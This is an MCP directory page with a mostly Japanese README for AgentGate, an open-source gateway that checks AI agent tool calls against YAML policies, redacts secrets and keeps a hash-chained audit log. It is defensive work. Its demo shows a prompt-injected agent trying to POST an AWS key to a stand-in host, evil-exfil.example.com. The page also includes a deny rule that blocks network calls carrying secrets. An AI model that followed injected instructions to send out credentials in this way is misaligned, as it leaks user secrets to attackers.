AgentGate
AgentGate
AIエージェント向けオープンソースファイアウォール。 AgentGateはMCPクライアント(Claude Codeなど)と、そのクライアントが通信する下流のMCPサーバーの間に位置し、すべてのツール呼び出しをユーザーが管理するポリシーに照らして評価し、何が起きたかの改ざん検知可能な監査証跡を保持します。

攻撃のブロックをエンドツーエンドで
プロンプトインジェクションを受けたエージェントがAWSキーをHTTP経由で外部に持ち出そうとします。AgentGateはこれを拒否し、キーがディスクに触れる前にマスクし、検証可能な監査証跡を記録します。これはすべてモックアップではなく、実際にチェックインされたポリシーとゲートウェイコードによるものです:
Simulated attack: prompt-injected agent attempts to
POST an AWS API key to an external server.
Tool called: network.request
Target URL: https://evil-exfil.example.com/collect
Gateway Response: {
content: [ { type: 'text', text: '[AgentGate] Denied by rule "block-secret-exfiltration": ...' } ],
isError: true
}
Step 1 — Policy decision: ✅ DENIED
Verifying Audit Records in DB...
✅ PASS — 1 audit event found.
✅ PASS — Event status is DENIED.
✅ PASS — Event arguments are flagged as redacted.
✅ PASS — The raw AWS key is ABSENT from the persisted data.
Verifying Tamper-Evident Hash Chain...
✅ PASS — Audit chain verified (2 records).自分で実行するには: node examples/secret-exfiltration/demo.mjs(デモと検証を参照)。
Related MCP server: Proofpane
プロジェクトの状態
初期開発段階 / 研究品質のMVP。 AgentGateは実際のポリシーエンジン、実際のMCP stdioプロキシ、実際の改ざん検知可能な監査ストア、実際のControl Center UIを実装しており、すべて実行可能なテストとエンドツーエンドの攻撃デモでカバーされています(docs/VERIFICATION.mdを参照)。本番環境向けには堅牢化されていません: 起動ごとのローカルトークン以外の認証はなく、マルチユーザー対応もなく、リプレイもなく、MCPプロトコル対応は現在レガシー2025世代のstdioのみです(対応インテグレーションを参照)。機密性の高い用途に使用する前にdocs/THREAT_MODEL.mdをお読みください。
5分クイックスタート
Node.js 20+とpnpmが必要です(.nvmrc / package.jsonのpackageManagerを参照)。以下はすべてリポジトリローカルで完結します。公開されたnpmパッケージは不要です。
git clone https://github.com/chidhvilasa/agentgate.git
cd agentgate
pnpm install --frozen-lockfile
pnpm run build
# Validate the example policy
node packages/gateway/dist/cli.js validate policies/agentgate.example.yml
# Start the gateway (proxies to the official MCP filesystem server over stdio)
node packages/gateway/dist/cli.js start examples/agentgate.ymlゲートウェイは起動時にローカルのControl Center URLとワンタイム認証トークンをstderrに出力します。URLを開き、プロンプトが表示されたらトークンを貼り付け、MCPクライアント(例: Claude Code)を下流サーバーへの直接接続ではなくゲートウェイのstdioコマンドに向けます。完全なウォークスルー(開発モードでのControl Centerの実行を含む)はdocs/QUICKSTART.mdを参照してください。
AgentGateの位置づけ
MCP client AgentGate gateway Downstream MCP server
(Claude Code, …) ─────▶ stdio proxy → policy engine ─────▶ (filesystem, network, …)
│ │
▼ ▼
audit storage Control Center
(SQLite, (local web UI,
hash-chained) loopback only)AgentGateは両側でMCPを話します: MCPクライアントに対してはサーバーとして、実際の下流MCPサーバーに対してはクライアントとして動作します。転送されるすべてのツール呼び出しはすでに評価済みであり、すべての判断(許可、拒否、マスク、または人間の承認待ち)は、呼び出しが実際のサーバーに到達する前(または到達を阻止された時点)に記録されます。完全なシーケンス図はdocs/ARCHITECTURE.mdを参照してください。
コア機能
ポリシーエンジン — エージェント、ツール、パス、コマンド、ホスト、シークレット内容でマッチする宣言型YAMLルール。最初にマッチしたルールが優先。セキュアなデフォルト拒否。
4種類の判断タイプ —
allow、deny、require_approval(人間が介在、TTL付き、使い捨て)、allow_with_transform(特定フィールドをマスクしてから転送)。ディープシークレットマスキング — AWS/GitHub/OpenAI/Anthropicキーパターン、ベアラートークン、秘密鍵ヘッダー、DB接続文字列を検出し、判断の種類に関係なくすべての永続化された監査記録からマスクします。
改ざん検知可能な監査証跡 — すべてのイベントはSHA-256ハッシュチェーンで連結された追記専用のSQLiteレコード。
agentgate audit verifyが独立してチェーンを再ウォークして検証します。Control Center — ループバック専用のローカルWeb UI: ライブSSEタイムライン、承認キュー、マスクとハッシュチェーン表示付きのイベントごとの詳細、現在読み込まれているポリシー。
パストラバーサル防御 — パス引数はマッチングまたは永続化の前に正規化されます(
../.を解決、セパレータを統一)。
ポリシーの例
version: 1
defaults:
decision: deny
rules:
- id: allow-project-reads
description: Allow reading files inside the project root.
agents: ["claude-code"]
tools: ["read_file", "list_directory"]
paths: ["${PROJECT_ROOT}/**"]
decision: allow
- id: approve-file-writes
description: Require approval before writing any file.
tools: ["write_file", "create_directory"]
decision: require_approval
approval_ttl_seconds: 120
- id: block-secret-exfiltration
description: Block network requests that appear to carry secrets or API keys.
tools: ["network.*", "fetch", "http_request"]
contains_secrets: true
decision: deny完全なフィールドリファレンス、マッチングのセマンティクス、実例: docs/POLICY_REFERENCE.md。
CLI
agentgate start [config.yml] # Start the gateway (default: ./agentgate.yml)
agentgate validate [policy.yml] # Validate a policy file (default: ./agentgate.policy.yml)
agentgate audit verify [config] # Independently re-verify the tamper-evident audit chainagentgateはpnpm run build後のpackages/gateway/dist/cli.jsです(まだnpmに公開されていません — プロジェクトの状態を参照)。リポジトリルートからnode packages/gateway/dist/cli.js <command>として実行するか、packages/gateway内からワークスペースのbin経由で実行します。
Control Center
ローカルのみで動作するReact UIで、開発時はViteが提供し、ゲートウェイYAMLで設定したcontrol_portでアクセスできます:
概要 — ライブリスクインジケーター、許可/拒否/保留中の件数、最近の高リスクイベント。
タイムライン — Server-Sent Eventsによる、傍受されたすべてのツール呼び出しのリアルタイム表示。
承認 — 保留中の
require_approvalリクエスト。TTL期限までのカウントダウン付き。拒否が視覚的に主要なアクション。イベント詳細 — 完全な判断トレース、マスクされた引数、ハッシュチェーン内でのイベントの位置。
ポリシー — 現在読み込まれているポリシーファイルと判断タイプのリファレンス(このマイルストーンでは読み取り専用)。
認証は起動ごとのランダムトークン(ゲートウェイのstderrに起動時に出力)をx-agentgate-tokenヘッダーとして送信するか、SSEストリームの場合はtokenクエリパラメータとして送信します。これが何を保護し、何を保護しないかについてはセキュリティモデルを参照してください。
対応インテグレーション
インテグレーション | トランスポート | プロトコル世代 | ステータス | 根拠 |
Claude Code(およびレガシーstdioトランスポートを使用する任意のMCPクライアント) | stdio | レガシー2025世代のみ | 対応 |
|
stdio上の任意の下流MCPサーバー | stdio | レガシー2025世代 | 対応 |
|
モダンなステートレスMCP( | HTTP/ステートレス | モダン | 未実装 | ADR-0005により延期。 |
ストリーミング可能なHTTP上の下流MCPサーバー | HTTP | — | 未実装 |
|
現在モダン世代またはHTTPトランスポートのサポートが必要な場合、AgentGateはまだ適切な選択肢ではありません。ステータスはADR-0005を追跡してください。
セキュリティモデルと制限事項
AgentGateはエージェントのアイデンティティを信頼しないものとして扱います: declared_name/declared_versionは自己申告であり、表示のみに使用され、認可には決して使用されません(verified_identityは常にfalse)。ポリシー判断はツール名、正規化されたパス、コマンド、ホスト、検出されたシークレット内容のみから行われます。
監査チェーンが証明することと証明しないこと: 各監査レコードのSHA-256ハッシュは前のレコードのハッシュをカバーしているため、過去のレコードを黙って編集または削除するとチェーンが壊れ、agentgate audit verifyがそれを検出します。これは改ざん検知可能であって、改ざん防止ではなく、否認防止の保証はありません。SQLiteデータベースへのファイルシステムアクセスを持つローカル管理者は、ファイル全体を置き換え、自己整合的なチェーンをゼロから再生成できます。外部アンカリングはありません。完全なモデル(間接的なプロンプトインジェクション、悪意のある下流サーバー、承認リプレイ、このマイルストーンではまだ軽減されていないサービス拒否リスクを含む)についてはdocs/THREAT_MODEL.mdを参照してください。
アーキテクチャ
コンポーネントの責務、システム図とシーケンス図、監査データモデル、信頼境界: docs/ARCHITECTURE.md。
デモと検証
node examples/secret-exfiltration/demo.mjs # end-to-end attack demo (self-cleaning, writes to a temp dir)
pnpm run test # unit/integration tests (policy + gateway)
pnpm run lint # type-aware lint gate across the whole workspaceデモとテストスイートが主張するすべてのことはdocs/VERIFICATION.mdで相互検証されています。
開発とコントリビューション
ワークスペース構成、ゲートウェイとControl Centerのローカル実行、ポリシールールとテストの追加: docs/DEVELOPMENT.md。コントリビューションプロセス、PRに対するセキュリティ影響の期待、意思決定台帳の規約: CONTRIBUTING.md。脆弱性を発見しましたか? SECURITY.mdを参照してください。公開イシューは開かないでください。
ライセンス
This server cannot be installed
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Related MCP Servers
- FlicenseNot gradedqualityNot gradedmaintenanceA transparent proxy and execution firewall that intercepts and audits AI agent tool calls against configurable security policies before forwarding them to downstream MCP servers. It provides safe execution environments with features like data redaction, anti-loop protection, and unified alert dispatching.
- AlicenseBqualityAmaintenanceA governance proxy for AI tools — every MCP/agent tool call is policy-gated, secret-redacted, and written to a hash-chained, offline-verifiable audit trail.13MIT
- AlicenseNot gradedqualityBmaintenanceA policy-enforcing MCP gateway that intercepts all tool calls to downstream MCP servers, applying allow/deny/ask rules with human approval and audit logging for safe access to dangerous tools.23MIT
- FlicenseNot gradedqualityCmaintenanceMCP server that provides a security gateway for AI agents, enforcing allow/confirm/deny policies on tool calls and requiring human approval for risky operations, with full audit logging.
Related MCP Connectors
Security firewall for AI agents — scans MCP calls for injection, secrets, and risks.
Crypto transaction firewall and risk tools for MCP agents.
See, price, and control every tool call your AI agents make: policy checks, cost, and audit tools.
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/chidhvilasa/agentgate'
If you have feedback or need assistance with the MCP directory API, please join our Discord server